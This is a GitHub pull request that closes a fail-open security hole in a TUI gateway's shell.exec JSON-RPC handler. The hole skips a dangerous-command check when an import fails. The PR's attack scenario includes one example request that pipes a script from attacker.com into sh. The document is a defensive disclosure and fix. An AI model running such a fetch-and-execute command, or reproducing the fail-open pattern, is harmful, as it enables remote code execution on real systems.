Skip to content

fix(security): fail-closed when approval module missing in TUI shell.exec to prevent RCE - #17551

Closed
memosr wants to merge 1 commit into
NousResearch:mainfrom
memosr:fix/tui-shell-exec-fail-closed
Closed

fix(security): fail-closed when approval module missing in TUI shell.exec to prevent RCE#17551
memosr wants to merge 1 commit into
NousResearch:mainfrom
memosr:fix/tui-shell-exec-fail-closed

Conversation

@memosr

@memosr memosr commented Apr 29, 2026

Copy link
Copy Markdown
Contributor

What does this PR do?

tui_gateway/server.py exposes a shell.exec JSON-RPC method that
runs shell commands via subprocess.run(shell=True). It tries to
block dangerous commands using tools.approval.detect_dangerous_command,
but on ImportError it silently falls through to executing the command:

# Before (vulnerable — fail-open)
try:
    from tools.approval import detect_dangerous_command
    is_dangerous, _, desc = detect_dangerous_command(cmd)
    if is_dangerous:
        return _err(rid, 4005, f"blocked: {desc}...")
except ImportError:
    pass  # ← silently disables the guard

If tools.approval cannot be imported (missing module, circular import,
SyntaxError in a dependency, partial deployment, modified PYTHONPATH),
the dangerous-command check is silently skipped and arbitrary shell
commands are executed via the JSON-RPC interface.

Attack scenario

  1. tools.approval import fails for any reason → check silently bypassed
  2. Attacker sends:
   {"jsonrpc":"2.0","id":1,"method":"shell.exec",
    "params":{"command":"curl http://attacker.com/sh | sh"}}
  1. shell=True + missing guard → full OS command execution

Fix

Made the handler fail-closed: if the guard cannot be loaded, refuse
to execute the command rather than silently bypassing the check:

try:
    from tools.approval import detect_dangerous_command
except ImportError:
    return _err(
        rid, 5004, "shell.exec unavailable: approval module could not be loaded"
    )

is_dangerous, _, desc = detect_dangerous_command(cmd)
if is_dangerous:
    return _err(rid, 4005, f"blocked: {desc}...")

This is consistent with the fail-closed pattern applied to the cron
SSRF check in #10180.

Type of Change

  • 🔒 Security fix (CRITICAL — fail-open command execution / RCE)

Checklist

  • Read the Contributing Guide
  • Commit messages follow Conventional Commits
  • Fail-closed — safer default when security module unavailable
  • Consistent with existing fail-closed patterns in the codebase
  • No behavior change when tools.approval is available

@alt-glitch alt-glitch added type/security Security vulnerability or hardening P1 High — major feature broken, no workaround comp/tui Terminal UI (ui-tui/ + tui_gateway/) area/auth Authentication, OAuth, credential pools labels Apr 29, 2026
@alt-glitch

Copy link
Copy Markdown
Collaborator

Likely duplicate of #15542 — same fix: fail-closed when tools.approval ImportError in TUI shell.exec JSON-RPC handler. Also overlaps closed #17045 which addressed the same issue.

@memosr

memosr commented Apr 29, 2026

Copy link
Copy Markdown
Contributor Author

Thanks for the heads-up @alt-glitch! Acknowledged - closing in favor of #15542 which addresses the same issue. Will check existing PRs more carefully before opening new ones.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/auth Authentication, OAuth, credential pools comp/tui Terminal UI (ui-tui/ + tui_gateway/) P1 High — major feature broken, no workaround type/security Security vulnerability or hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants